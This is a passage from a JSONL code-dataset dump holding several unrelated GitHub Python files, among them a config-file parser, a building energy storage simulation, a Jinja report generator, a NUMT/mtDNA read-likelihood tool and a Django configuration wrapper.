print(\"Fim...\")\n\nq4()","repo_name":"tefimath/PS-2022.2-Analytica","sub_path":"P2-Analytica.py","file_name":"P2-Analytica.py","file_ext":"py","file_size_in_byte":5616,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"22904554158","text":"\"\"\" Contains functions relating to the Anemone Build Configuration file format. \"\"\"\nimport os.path\n\ndef parse(filepath):\n    \"\"\" Loads a file (expecting it to be of the abc format) and returns abc-object. \"\"\"\n    if not os.path.isfile(filepath):\n        return None\n\n    source = open(filepath, \"r\", -1, \"utf-8\")\n    line = source.readline()\n    current_node = root = ABCNode(\"root\")\n\n    while line is not \"\": #end of file\n        if line.find(\"#\") is not -1: # remove all comments.\n            line = line.split(\"#\", 1)[0]\n        if line.strip() == \"\": # skip empty lines.\n            line = source.readline()\n            continue\n        if line[0] != '\\t': # reset Configuration if not tabbed in.\n            current_node = root\n\n        for index, char in enumerate(line):\n            if char == '=':\n                key = line[:index].strip()\n                if len(key) is 0:\n                    break\n                value = line[index+1:].strip()\n                if len(value) is 0:\n                    value = None\n                current_node.set(key, value)\n                break\n            elif char == ':':\n                key = line[:index].strip()\n                if len(key) is 0:\n                    break\n                current_node = ABCNode(key, current_node)\n                break\n        line = source.readline()\n    return root\n\nclass ABCNode(object):\n    \"\"\" ABCNode containing the values and subnodes for parsed abc file. \"\"\"\n    def __init__(self, key, parent=None):\n        super(ABCNode, self).__init__()\n        self.m_values = dict()\n        self.m_nodes = dict()\n        self.m_key = key\n        self.m_parent = parent\n        self.m_current = 0\n        if parent is not None:\n            parent[key] = self\n\n    def __getitem__(self, key):\n        return self.m_nodes.get(key, None)\n\n    def __setitem__(self, key, value):\n        if isinstance(value, ABCNode):\n            self.m_nodes[key] = value\n            value.m_parent = self\n\n    def __delitem__(self, key):\n        node = self[key]\n        if node is not None:\n            del node.m_key, node.m_values, node.m_nodes\n\n    def __repr__(self):\n        return self.m_key\n\n    def __len__(self):\n        return len(self.m_nodes)\n\n    def __iter__(self):\n        return self.m_nodes.items().__iter__()\n\n    def __next__(self):\n        return self.m_nodes.items().__next__()\n\n    def get(self, key):\n        \"\"\" Gets a value out of the nodes internal dictionary,\n            returns NoneType if value was not found. \"\"\"\n        value = self.m_values.get(key, None)\n        if value is None:\n            if self.m_parent is not None:\n                return self.m_parent.get(key)\n        return value\n\n    def set(self, key, value):\n        \"\"\" Sets setting in internal value dictionary. \"\"\"\n        self.m_values[key] = value\n","repo_name":"Winnak/Anemone","sub_path":"Anemone/abcfile.py","file_name":"abcfile.py","file_ext":"py","file_size_in_byte":2816,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"}
+{"seq_id":"17639516686","text":"# -*- coding: utf-8 -*-\n\nimport math\nimport collections\nimport bisect\nimport heapq\nimport time\nimport random\nimport itertools\n\n\"\"\"\ncreated by shhuan at 2017/10/19 10:06\n\n\"\"\"\n\nN, M = map(int, input().split())\n\nA = []\nfor i in range(M):\n    A.append([int(x) for x in input().split()])\n\nflats = [] # even each floor has multiple possible flats, the answer may be deterministic\nfor k in range(1, 10005):\n    valid = True\n    for a, b in A:\n        f = a//k if a%k==0 else a//k+1\n        if f != b:\n            valid = False\n            break\n\n    if valid:\n        flats.append(k)\nif flats:\n    flats = [N//v if N%v==0 else N//v+1 for v in flats]\n    if all([x==flats[0] for x in flats]):\n        print(flats[0])\n    else:\n        print(-1)\nelse:\n    print(-1)\n\n\n","repo_name":"shhuan/algorithms","sub_path":"py/codeforces/861B.py","file_name":"861B.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"27718596899","text":"from building_energy_storage_simulation.building import Building\nfrom building_energy_storage_simulation.utils import load_profile\n\n\nclass Simulation:\n    \"\"\"\n    Simulation that wires the building, electricity load, solar generation and wind\n    generation profiles together.\n\n    Args:\n        dataset (str): Path to csv file containing electricity load, solar generation, wind \n            generation profiles, external generation cost, and the month and day type of each.\n        battery_capacity (float): The capacity of the battery in kWh.\n        initial_state_of_charge (float): The initial state of charge of the battery in kWh.\n        solar_power_installed (float): The installed peak photovoltaic power in kWp.\n        wind_power_installed (float): The installed peak wind power in kWp.\n        max_battery_charge_per_timestep (float): Maximum amount of energy (kWh) which can be\n            obtained from or used to charge the battery in one time step.\n        sell_back_price_rate (float): The rate at which excess energy generated by the\n            building can be sold back to the grid or external sources. This parameter\n            determines the financial incentive for the building to sell its excess energy, and\n            affects the optimization of energy storage and consumption.\n    \"\"\"\n\n    def __init__(\n        self,\n        dataset,\n        battery_capacity,\n        initial_state_of_charge,\n        solar_power_installed,\n        wind_power_installed,\n        max_battery_charge_per_timestep,\n        sell_back_price_rate,\n    ):\n        self.building = Building(\n            solar_power_installed=solar_power_installed,\n            wind_power_installed=wind_power_installed,\n            battery_capacity=battery_capacity,\n            initial_state_of_charge=initial_state_of_charge,\n            max_battery_charge_per_timestep=max_battery_charge_per_timestep,\n        )\n        self.electricity_load_profile = load_profile(dataset, \"load\")\n        self.solar_generation_profile = load_profile(dataset, \"solar\")\n        self.wind_generation_profile = load_profile(dataset, \"wind\")\n        self.external_generation_profile = load_profile(dataset, \"price\")\n        self.months = load_profile(dataset, \"month\")\n        self.day_types = load_profile(dataset, \"day_type\")\n        self.hours = load_profile(dataset, \"hour\")\n        self.sell_back_price_rate = sell_back_price_rate\n        assert (\n            len(self.solar_generation_profile)\n            == len(self.electricity_load_profile)\n            == len(self.external_generation_profile)\n            == len(self.wind_generation_profile)\n            == len(self.months)\n            == len(self.day_types)\n        ), \"All dataset columns must be of the same length.\"\n        # Solar Generation Profile is in W per 1KW of Solar power installed\n        self.solar_generation_profile = (\n            self.solar_generation_profile * self.building.solar_power_installed / 1000\n        )\n        # Wind Generation Profile is in W per 1KW of Wind power installed\n        self.wind_generation_profile = (\n            self.wind_generation_profile * self.building.wind_power_installed / 1000\n        )\n        self.step_count = 0\n        self.start_index = 0\n        pass\n\n    def reset(self):\n        \"\"\"\n        1. Resets the state of the building by calling the `reset()` from the building.\n        2. Resets the `step_count` to 0. The `step_count` is used for temporal orientation\n            in the electricity load and solar generation profile.\n        \"\"\"\n\n        self.building.reset()\n        self.step_count = 0\n        pass\n\n    def simulate_one_step(self, amount: float) -> float:\n        \"\"\"\n        Performs one simulation step by:\n            1. Charging or discharging the battery depending on the amount.\n            2. Calculating the amount of energy consumed by the building in this time step.\n            3. Trimming the amount of energy to 0, in case it is negative.\n            4. Calculating the amount of excess energy which is considered lost.\n            5. Increasing the step counter.\n\n        Args:\n            amount (float): Amount of energy to be stored or retrieved from the battery.\n        Returns:\n            Tuple of:\n                1. Amount of energy consumed in this time step. This is calculated by:\n                    `battery_energy` + `electricity_load` - `solar_generation`.\n                    The excess energy can be sold at `sell_back_price_rate`.\n                2. Amount of excess energy.\n                3. Cost of using external generator.\n                4. Revenue from selling excess energy.\n        \"\"\"\n        \n        electricity_load_of_this_timestep = self.electricity_load_profile[\n            self.start_index + self.step_count\n        ]\n        solar_generation_of_this_timestep = self.solar_generation_profile[\n            self.start_index + self.step_count\n        ]\n        wind_generation_of_this_timestep = self.wind_generation_profile[\n            self.start_index + self.step_count\n        ]\n        external_generation_cost_of_this_timestep = self.external_generation_profile[\n            self.start_index + self.step_count\n        ]\n\n        electricity_consumed_for_battery = self.building.battery.use(amount)\n        electricity_consumption = (\n            electricity_consumed_for_battery\n            + electricity_load_of_this_timestep\n            - solar_generation_of_this_timestep\n            - wind_generation_of_this_timestep\n        )\n        excess_energy = 0\n        external_generator_energy = 0\n        cost_of_external_generator = 0\n        revenue_from_excess_energy = 0\n        if electricity_consumption < 0:\n            excess_energy = -1 * electricity_consumption\n            electricity_consumption = 0\n            revenue_from_excess_energy = (\n                excess_energy\n                * external_generation_cost_of_this_timestep\n                * self.sell_back_price_rate\n            )\n        else:\n            external_generator_energy = electricity_consumption\n            cost_of_external_generator = (\n                external_generation_cost_of_this_timestep * external_generator_energy\n            )\n        self.step_count += 1\n        return (\n            electricity_consumption,\n            excess_energy,\n            cost_of_external_generator,\n            revenue_from_excess_energy,\n        )\n","repo_name":"the-guti/ugrip-energy","sub_path":"building_energy_storage_simulation/simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":6388,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"38499616647","text":"# If we list all the natural numbers below 10 that are multiples of 3 or 5, we get 3, 5, 6 and 9. The sum of these multiples is 23.\n\n# Find the sum of all the multiples of 3 or 5 below 1000.\n\ndef get_list_of_numbers(range_higher: int, range_lower: int = 0) -> list:\n    \"\"\"\n    Function returns a list of numbers that are multiples of 3 and 5\n    \"\"\"\n    # Place holder\n    numbers_list = []\n    # Loop through numbers and add 1 to include actual number.\n    for number in range(range_lower,range_higher + 1):\n\n        if ( number % 3 == 0 ) and ( number % 5 == 0):\n            numbers_list.append(number)\n    \n    return numbers_list\n\nif __name__ == \"__main__\":\n    numbers_list = get_list_of_numbers(range_higher = 1000)\n    total = sum(numbers_list)\n    print(total)","repo_name":"pvicol/project_euler","sub_path":"1_multiples_of_3_and_5/get_multiples.py","file_name":"get_multiples.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"72947087732","text":"wrong_inputs=\"\"\"\r\n<!DOCTYPE html>\r\n<html>\r\n<head>\r\n    <title>Something Went Wrong</title>\r\n</head>\r\n<main>\r\n    <body>\r\n        <h1>Wrong Inputs</h1>\r\n        <p><strong>Something went wrong</strong></p>\r\n    </body>\r\n</main>\r\n<footer></footer>\r\n</html>\r\n\"\"\"\r\nstudent_details=\"\"\"\r\n<!DOCTYPE html>\r\n<html>\r\n<head>\r\n    <title>Student Details</title>\r\n</head>\r\n<body>\r\n    <h1>Student Details</h1>\r\n    <table border='1'>\r\n        <thead>\r\n            <tr>\r\n                <th>Student ID</th>\r\n                <th>Course ID</th>\r\n                <th>Marks</th>\r\n            </tr>\r\n        </thead>\r\n        <tboady>\r\n            {% for row in D %}\r\n            <tr>\r\n                <td>{{ row[0] }}</td>\r\n                <td>{{ row[1] }}</td>\r\n                <td>{{ row[2] }}</td>\r\n            </tr>\r\n            {% endfor %}\r\n            <tr>\r\n                <td colspan='2' align=\"center\">Total Marks</td>\r\n                <td>{{ sum }}</td>\r\n            </tr>\r\n        </tboady> \r\n    </table>\r\n</body>\r\n<footer></footer>\r\n</html>\r\n\"\"\"\r\ncourse_details=\"\"\"\r\n<!DOCTYPE html>\r\n<html>\r\n<head>\r\n    <title>Course Data</title>\r\n</head>\r\n<main>\r\n<body>\r\n    <h1>Course Details</h1>\r\n    <table border='1'>\r\n        <thead>\r\n            <tr>\r\n                <th>Average Marks</th>\r\n                <th>Maximum Marks</th>\r\n            </tr>\r\n        </thead>\r\n        <tboady>\r\n            <tr>\r\n                <td>{{ avg }}</td>\r\n                <td>{{ max }}</td>\r\n            </tr>\r\n        </tboady> \r\n    </table>\r\n    <img src={{ img }}>\r\n</body>\r\n<footer></footer>\r\n</html>\r\n\"\"\"\r\n\r\nimport sys\r\nfrom jinja2 import Template as Temp\r\nimport matplotlib.pyplot as plt\r\nselec=sys.argv[1]\r\nid=int(sys.argv[2])\r\ndata=[]\r\nwith open('data.csv','r') as file:\r\n    file.readline()\r\n    if selec=='-s':\r\n        for row in file:\r\n            row=list(map(int,row.strip().split(',')))\r\n            if row[0]==id:\r\n                data.append(row)\r\n    elif selec=='-c':\r\n        for row in file:\r\n            row=list(map(int,row.strip().split(',')))\r\n            if row[1]==id:\r\n                data.append(row)\r\nif len(data)==0:\r\n    with open('output.html','w') as output:\r\n        output.write(wrong_inputs)\r\nelif selec=='-s':\r\n    sum=sum(x[2] for x in data)\r\n    template=Temp(student_details)\r\n    with open('output.html','w') as output:\r\n        output.write(template.render(D=data,id=id,sum=sum))\r\nelse:\r\n    marks=[x[2] for x in data if x[1]==id]\r\n    plt.hist(marks)\r\n    plt.xlabel('Marks')\r\n    plt.ylabel('Frequency')\r\n    plt.savefig('plot.png')\r\n    template=Temp(course_details)\r\n    with open('output.html','w') as output:\r\n        output.write(template.render(D=data,id=id,avg=sum(marks)/len(marks),max=max(marks),img='plot.png'))","repo_name":"LLawliet0904/mad-1-lab-week-3","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"16618602595","text":"#!/usr/bin/env python\r\nimport re\r\nimport math\r\nimport pysam\r\nfrom optparse import OptionParser\r\n\r\n# function to calculate Pr(a|g) given reference is g, observed a; only consider SNP\r\ndef cal_p_sub(ref_base, true_base, h=0.04, pts=2.0/3):\r\n    p_sub = 0\r\n    \r\n    ts = [\"AG\",\"GA\",\"CT\",\"TC\"]\r\n    if ref_base == true_base:\r\n        p_sub = 1 - h\r\n    elif (ref_base + true_base) in ts:\r\n        p_sub = h * pts\r\n    else:\r\n        p_sub = 1/2*(h - h*pts)\r\n    \r\n    return p_sub\r\n\r\n\r\n# calculate Pr(x|a) given nucleotide is a, sequenced base is x\r\ndef cal_p_error(true_base, sequenced_base, Q):\r\n    p_error = 10**(-Q/10.0)\r\n    if true_base == sequenced_base:\r\n        return 1-p_error\r\n    else:\r\n        return p_error/3\r\n  \r\n\r\n# function to calculate likehood for one site\r\ndef prob_site(ref_base, seq_base, Q, h, pts, ch, position, var_freq):\r\n    #Q=100\r\n    NT = [\"A\",\"T\",\"G\",\"C\"]\r\n    freq=dict()\r\n    maf=0.0\r\n    for a in NT:\r\n        key = str(position) + \"-\" + ref_base + \"-\" + a\r\n        if (ch in var_freq and key in var_freq[ch]):\r\n            maf = maf + float(var_freq[ch][key])\r\n            freq[ref_base + a]= float(var_freq[ch][key])\r\n        else:\r\n            freq[ref_base + a]=cal_p_sub(ref_base=ref_base, true_base=a, h=h,pts=pts)\r\n    \r\n    freq[ref_base + ref_base]= 1-maf\r\n    \r\n    prob_all = 0.0\r\n    \r\n    if (maf == 0):\r\n        for a in NT:\r\n            prob_all = prob_all + cal_p_sub(ref_base=ref_base, true_base=a, h=h,pts=pts) * cal_p_error(true_base=a,sequenced_base=seq_base,Q=Q)\r\n    else:\r\n        for a in NT:\r\n            prob_all = prob_all + freq[ref_base+a] * cal_p_error(true_base=a,sequenced_base=seq_base,Q=Q)   \r\n    \r\n    return prob_all\r\n\r\n\r\n# function to calculate log likelihood across entrire read\r\ndef prob_read(read, qual, mutation_matrix, h, pts, ch, st, var_freq):\r\n    read_tides = list(read)\r\n    #qual_tides = list(qual)\r\n    \r\n    loglike = 0.0\r\n    i = 0\r\n    indel = []\r\n    for mu in mutation_matrix:\r\n        if mu == 1:\r\n            Q = qual[i]\r\n            ref_seq = read_tides[i]\r\n        elif mu.find('-') != -1 or mu.find('del') != -1:\r\n            if mu.find('-') != -1:\r\n                position = st + i\r\n                mu = str(position) + '-' + mu\r\n                indel.append(mu)\r\n            continue # skip deletion\r\n        elif mu.find('+') != -1 or mu.find('ins') != -1:\r\n            if mu.find('+') != -1:\r\n                position = st + i\r\n                mu = str(position) + '-' + mu\r\n                indel.append(mu)\r\n            i = i + 1\r\n            continue # skip insertion\r\n        else:\r\n            Q = qual[i]\r\n            ref_seq = mu        \r\n                \r\n        position = st + i\r\n        prob_this_site=prob_site(ref_base=ref_seq,seq_base=read_tides[i],Q=Q,h=h,pts=pts,ch=ch,position=position,var_freq=var_freq)\r\n        if prob_this_site > 0:\r\n            loglike = loglike + math.log(prob_this_site)\r\n        \r\n        i = i + 1\r\n            \r\n    return loglike\r\n\r\n\r\n# Creat variants frequency dictionary\r\ndef cal_var_freq(mt_file,numt_file):\r\n    var_dict = dict()\r\n    var_dict[\"chrM\"] = dict() # mitochondrial varaints\r\n    with open (mt_file) as mt_fh:\r\n        for i,line in enumerate(mt_fh):\r\n            data=line.split()\r\n            key = data[0] + \"-\" + data[1]\r\n            var_dict[\"chrM\"][key] = data[2]\r\n                \r\n    chrs = map(str, range(1,23))\r\n    chrs = list(chrs)\r\n    \r\n    chrs.append('X')\r\n    chrs.append('Y')\r\n    for ch in chrs:\r\n        var_dict[\"chr\" + ch] = dict() \r\n    \r\n    with open (numt_file) as numt_fh:\r\n        for i,line in enumerate(numt_fh):\r\n            data=line.split()\r\n            if (\"chr\" + data[0]) in var_dict:\r\n                key = data[1] + \"-\" + data[2]\r\n                var_dict[\"chr\"+str(data[0])][key] = data[3]\r\n        \r\n    return var_dict\r\n\r\n\r\n# function to parse MD string\r\ndef parseMD(MD):\r\n    mismatches, pos = [], 0\r\n    for n in re.findall('(\\d+|[a-zA-Z|^]+)', MD):\r\n        if n.isalpha():\r\n            mismatches.append(n)\r\n            pos += 1\r\n        #ignore deletions i.e. ^[A-Z] (isalpha() is False)\r\n        elif not n.startswith('^'):\r\n            pos += int(n)\r\n            [mismatches.append(1) for i in range(int(n))]\r\n                   \r\n    #print(mismatches)\r\n    return mismatches\r\n\r\n\r\n# function to parse CIGAR and MD, output final mutation matrix\r\ndef parseCIGAR(seq, CIGAR, MD):    \r\n    match = parseMD(MD)\r\n    seqPos = 0\r\n    \r\n    for op, length in CIGAR:\r\n        if op == 0: #match\r\n            seqPos += length \r\n   \r\n        elif op == 1: #insertion\r\n            if length > 1:\r\n                match = match[:seqPos] + [\"+\" + seq[seqPos:(seqPos+length)]] + ['ins_ext',] * (length - 1) + match[seqPos:]\r\n            else:\r\n                match = match[:seqPos] + [+1*length] + match[seqPos:]\r\n            #match = match[:seqPos] + [\"+\" + seq[seqPos:(seqPos+length)]] + match[seqPos:]\r\n            seqPos += length \r\n   \r\n        elif op == 2: #deletion\r\n            if length > 1:\r\n                match = match[:seqPos] + [str(-length)] + ['del_ext',] * (length - 1) + match[seqPos:]\r\n            else:\r\n                match = match[:seqPos] + [str(-1*length)] + match[seqPos:]\r\n            seqPos += length\r\n        elif op == 4: #soft clip\r\n            continue\r\n    \r\n    mutation = dict()\r\n    for i,item in enumerate(match):\r\n        if item !=1 and item !='del_ext':\r\n            mutation[i+1] = item\r\n             \r\n    return match\r\n\r\n\r\n# function to convert MD:Z tag to mutation matrix, assume no insertions and deletions\r\ndef convert_mutation_matrix(MDstring):\r\n    mutations = re.findall('[ATGCN]',MDstring)\r\n    numbers = re.sub('[ATGCN]',',',MDstring)\r\n    numbers = numbers.split(',')\r\n    \r\n    position = 0\r\n    mutation_matrix=dict()\r\n    for i, num in enumerate(numbers):\r\n        if num == '':\r\n            position = position + 1\r\n            mutation = mutations[0] \r\n            mutation_matrix[position] = mutation\r\n        elif i == len(mutations):\r\n            break\r\n        else:\r\n            position = position + int(num) + 1\r\n            mutation = mutations[i] \r\n            mutation_matrix[position] = mutation\r\n\r\n    return mutation_matrix\r\n\r\n\r\n# function to parse read\r\ndef parse_read(r,h,pts_m,pts_n,var_freq):\r\n    seq = r.query_alignment_sequence\r\n    qual = r.query_alignment_qualities\r\n    MD = r.get_tag('MD')\r\n    ch = r.reference_name\r\n    st = r.reference_start + 1\r\n    pts = (pts_m if ch == \"chrM\" else pts_n)\r\n    \r\n    #mutation_matrix=convert_mutation_matrix(MD)\r\n    mutation_matrix = parseCIGAR(seq=seq, CIGAR = r.cigartuples, MD=MD)\r\n    loglike = prob_read(read=seq,qual=qual,mutation_matrix=mutation_matrix,h=h,pts=pts,ch=ch,st=st,var_freq=var_freq)\r\n    return loglike\r\n\r\n\r\n# function to summarize a read group\r\ndef summary_out(read1group,read2group,oh1,oh2,h,pts_m,pts_n,var_freq,mode):\r\n    r1dict = dict()\r\n    r2dict = dict()\r\n    r1mt = -10000.0\r\n    r2mt = -10000.0\r\n    r1mtr = None\r\n    r2mtr = None\r\n    \r\n    for r1 in read1group:\r\n        loglike = parse_read(r=r1,h=h,pts_m=pts_m,pts_n=pts_n,var_freq=var_freq)\r\n        r1dict[r1.reference_name + '-' + str(r1.reference_start)] = [loglike, r1]\r\n        if r1.reference_name == 'chrM': r1mt = loglike; r1mtr = r1\r\n            \r\n    for r2 in read2group:\r\n        loglike = parse_read(r=r2,h=h,pts_m=pts_m,pts_n=pts_n,var_freq=var_freq)\r\n        r2dict[r2.reference_name + '-' + str(r2.reference_start)] = [loglike, r2]\r\n        if r2.reference_name == 'chrM': r2mt = loglike; r2mtr = r2\r\n    \r\n    r1list = sorted(r1dict.iteritems(), key=lambda x : x[1],reverse=True)\r\n    r2list = sorted(r2dict.iteritems(), key=lambda x : x[1],reverse=True)\r\n    \r\n    if mode == 'se':\r\n        if r1list != []:\r\n            \r\n            readname = r1list[0][1][1].qname\r\n            [map_type, chrM_like, NUMT_like, chrM_mis, NUMT_mis] = ['NA'] * 5\r\n            for x in r1list[0:2]:\r\n                if x[1][1].reference_name == 'chrM':\r\n                    chrM_like, chrM_mis = x[1][0], x[1][1].get_tag('NM')\r\n                else:\r\n                    NUMT_like, NUMT_mis = x[1][0], x[1][1].get_tag('NM')\r\n            \r\n            map_type = 'multi' if chrM_like != 'NA' and NUMT_like != 'NA' else 'unique'\r\n            \r\n            oh1.write(\"%s %s %s %s %s %s\\n\" % (readname, map_type, str(chrM_like), str(chrM_mis), str(NUMT_like), str(NUMT_mis)))\r\n            \r\n        return \"\"       \r\n    \r\n    if r1list != [] and r2list != [] :\r\n        \r\n        readname = r1list[0][1][1].qname\r\n        [map_type, chrM_like1, chrM_mis1, chrM_like2, chrM_mis2, NUMT_like1, NUMT_mis1, NUMT_like2, NUMT_mis2] = ['NA'] * 9\r\n        for x in r1list[0:2]:\r\n            if x[1][1].reference_name == 'chrM':\r\n                chrM_like1, chrM_mis1 = x[1][0], x[1][1].get_tag('NM')\r\n            else:\r\n                NUMT_like1, NUMT_mis1 = x[1][0], x[1][1].get_tag('NM')\r\n        \r\n        for y in r2list[0:2]:\r\n            if y[1][1].reference_name == 'chrM':\r\n                chrM_like2, chrM_mis2 = y[1][0], y[1][1].get_tag('NM')\r\n            else:\r\n                NUMT_like2, NUMT_mis2 = y[1][0], y[1][1].get_tag('NM')\r\n            \r\n        map_type = 'multi' if chrM_like1 != 'NA' and NUMT_like1 != 'NA' else 'unique'\r\n        oh1.write(\"%s %s %s %s %s %s %s %s %s %s\\n\" \\\r\n                  % (readname, map_type, str(chrM_like1), str(chrM_mis1), str(chrM_like2), str(chrM_mis2), str(NUMT_like1), str(NUMT_mis1), str(NUMT_like2), str(NUMT_mis2)))\r\n        \r\n        return ''\r\n\r\n\r\ndef main():\r\n    usage = \"usage: %prog [options] \\n\"\r\n    parser = OptionParser(usage=usage)\r\n    parser.add_option(\"--sam\", default=\"/home/fs01/rz253/project/BTRY4840/NUMT/data/prepare.data/PCR.1000.sam\",help=\"input sam file\")\r\n    parser.add_option(\"--stat\", default=\"/home/fs01/rz253/project/BTRY4840/NUMT/data/prepare.data/PCR.stat\",help=\"output likelihood file\")\r\n    #parser.add_option(\"--outsam\", default=\"/home/fs01/rz253/project/BTRY4840/NUMT/data/prepare.data/PCR.rm.NUMT.sam\",help=\"output sam file\")\r\n    parser.add_option(\"--mt_file\", default=\"/home/fs01/rz253/project/BTRY4840/NUMT/data/prepare.data/mt.variants.frequency.txt\",help=\"mtDNA variants file\")\r\n    parser.add_option(\"--numt_file\", default=\"/home/fs01/rz253/project/BTRY4840/NUMT/data/prepare.data/numt.variants.frequency.txt\",help=\"numt variants file\")\r\n    \r\n    parser.add_option(\"-s\", type=float, default=0.0005, help=\"DNA substitution rate\")\r\n    parser.add_option(\"--pts_m\", type=float, default=23/24.0, help=\"mtDNA transition probability\")\r\n    parser.add_option(\"--pts_n\", type=float, default=2.43/3.43, help=\"NUMT transition probability\")\r\n    parser.add_option(\"--mode\", type=str, default=\"se\", help=\"Singe end or pair end? [se]\")\r\n\r\n    (o, args) = parser.parse_args()\r\n    \r\n    oh1 = open(o.stat,\"w+\")\r\n    if o.mode == 'se':\r\n        oh1.write(\"read_name map chrM_like chrM_mis NUMT_like NUMT_mis\\n\")\r\n    else:\r\n        oh1.write(\"read_name map chrM_like1 chrM_mis1 chrM_like2 chrM_mis2 NUMT_like1 NUMT_mis1 NUMT_like2 NUMT_mis2\\n\")\r\n        \r\n    h = o.s\r\n    \r\n    mysam = o.sam\r\n    \r\n    pts_m = o.pts_m\r\n    pts_n = o.pts_n\r\n    var_freq = cal_var_freq(o.mt_file, o.numt_file) \r\n    \r\n    samfile = pysam.AlignmentFile(mysam,\"r\")\r\n    oh2 = pysam.AlignmentFile(o.outsam, \"w\", template=samfile)\r\n    #oh3 = pysam.Samfile(o.outsam.replace(\".sam\",\"NUMTs.sam\"), \"w\", template = samfile )\r\n    \r\n    # iterate reads\r\n    read1group = []\r\n    read2group = []\r\n    readname = \"\"\r\n    \r\n    mt_total = 0\r\n    numt_total = 0\r\n    \r\n    for r in samfile.fetch():\r\n        #if re.findall('[IDS]',r.cigarstring) != []:\r\n        #    continue\r\n        if readname == \"\" or r.qname != readname:\r\n            if readname == \"\":\r\n                readname = r.qname\r\n                if o.mode == 'se':\r\n                    read1group.append(r)\r\n                elif r.is_read1:\r\n                    read1group.append(r)\r\n                elif r.is_read2:\r\n                    read2group.append(r)\r\n                continue\r\n            \r\n            res = summary_out(read1group=read1group,read2group=read2group,oh1=oh1,oh2=oh2,h=h,pts_m=pts_m,pts_n=pts_n,var_freq=var_freq,mode = o.mode)\r\n            if res == 'mt':\r\n                mt_total = mt_total + 1\r\n            elif res == 'numt':\r\n                numt_total = numt_total + 1\r\n        \r\n            read1group = []\r\n            read2group = []\r\n            readname = r.qname\r\n        \r\n        if o.mode == 'se':\r\n            read1group.append(r)\r\n        elif r.is_read1:\r\n            read1group.append(r)\r\n        elif r.is_read2:\r\n            read2group.append(r)\r\n            \r\n    res = summary_out(read1group=read1group,read2group=read2group,oh1=oh1,oh2=oh2,h=h,pts_m=pts_m,pts_n=pts_n,var_freq=var_freq, mode = o.mode)\r\n    if res == 'mt':\r\n        mt_total = mt_total + 1\r\n    elif res == 'numt':\r\n        numt_total = numt_total + 1\r\n    \r\n    #print \"%i %i %f\" %(mt_total, numt_total, float(numt_total)/(mt_total + numt_total))\r\n\r\n\r\nif __name__ == '__main__':\r\n    #test1()\r\n    main()\r\n    ","repo_name":"RuoyuZhang/NUMT","sub_path":"code/mtReadLikelihood.py","file_name":"mtReadLikelihood.py","file_ext":"py","file_size_in_byte":13042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"37238334826","text":"import collections\nfrom configparser import ConfigParser\nfrom configparser import NoOptionError\nfrom configparser import NoSectionError\n\nfrom django.core.exceptions import ImproperlyConfigured\n\n\nclass ProjectConfig:\n\n    \"\"\"Обертка над парсером параметров конфигурации.\"\"\"\n\n    def __init__(self, filenames=None, defaults=None):\n        self.parser = ConfigParser()\n        if filenames:\n            self.parser.read(filenames)\n        self.defaults = defaults\n\n    def read(self, filenames):\n        \"\"\"Загружает конфигурацию из файла(ов) filenames.\"\"\"\n        self.parser = ConfigParser.ConfigParser()\n        self.parser.read(filenames)\n\n    def set_defaults(self, defaults):\n        \"\"\"Устанавливает параметры проекта по умолчанию.\"\"\"\n        self.defaults = defaults\n\n    def items(self, section):\n        \"\"\"Возвращает список кортежей (key, value) из указанной секции.\n\n        В случае, если такой секции нет, то возвращается пустой список.\n        \"\"\"\n        if self.parser.has_section(section):\n            result = self.parser.items(section)\n        else:\n            result = []\n\n        return result\n\n    def get(self, section, option, quiet=True, validation=None, raw=False):\n        \"\"\"Возвращает значение параметра в виде строки.\n\n        :param str section: Название раздела.\n        :param str option: Название параметра.\n        :param bool quiet: Флаг, определяющий необходимость генерации\n            исключения django.core.exceptions.ImproperlyConfigured в случае,\n            если запрашиваемого параметра нет ни в файлах конфигурации, ни в\n            словаре дефолтных значений.\n        :param lambda|None validation: Функция валидирующая значение,\n            например lambda v: True.\n        :return str: Полученое значение\n\n        :raises django.core.exceptions.ImproperlyConfigured: если аргумент\n            *quiet* равен *False* и указанного параметра нет ни в файлах\n            конфигурации, ни в словаре дефолтных значений.\n        \"\"\"\n        key = (section, option)\n\n        try:\n            result = self.parser.get(section, option, raw=raw).strip()\n        except (NoSectionError, NoOptionError):\n            result = None\n\n        if not result:\n            # В конфигурационных файлах запрашиваемый параметр отсутствует,\n            # пробуем вернуть дефолтное значение.\n            if key not in self.defaults:\n                if quiet:\n                    result = ''\n                else:\n                    raise ImproperlyConfigured(\n                        'Configuration parameter {0}.{1} not found'.format(\n                            section, option\n                        )\n                    )\n            else:\n                result = self.defaults[key]\n\n        if validation and isinstance(validation, collections.Callable) and not validation(result):\n            raise ImproperlyConfigured(\n                'Configuration parameter `{0}.{1} = {2}` is invalid'.format(\n                    section, option, result\n                )\n            )\n\n        return result\n\n    def get_bool(self, section, option, allow_none=False, quiet=True):\n        \"\"\"Возвращает значение параметра в виде булевого значения.\n\n        Если значение параметра равно (без учета регистра символов) True, то\n        метод возвращает истинное значение (True), иначе - ложь (False).\n\n        :param str section: Название раздела.\n        :param str option: Название параметра.\n        :param bool allow_none: Флаг, разрешающий 3-ую логику с возвратом None.\n        :param bool quiet: Флаг, определяющий необходимость генерации\n            исключения django.core.exceptions.ImproperlyConfigured в случае,\n            если запрашиваемого параметра нет ни в файлах конфигурации, ни в\n            словаре дефолтных значений.\n\n        :rtype: bool\n\n        :raises django.core.exceptions.ImproperlyConfigured: если аргумент\n            *quiet* равен *False* и указанного параметра нет ни в файлах\n            конфигурации, ни в словаре дефолтных значений.\n        \"\"\"\n        value = self.get(section, option, quiet)\n        # из конфига приходят строковые значения, а из KINDER_DEFAULT_CONFIG\n        # булевые или None\n        value 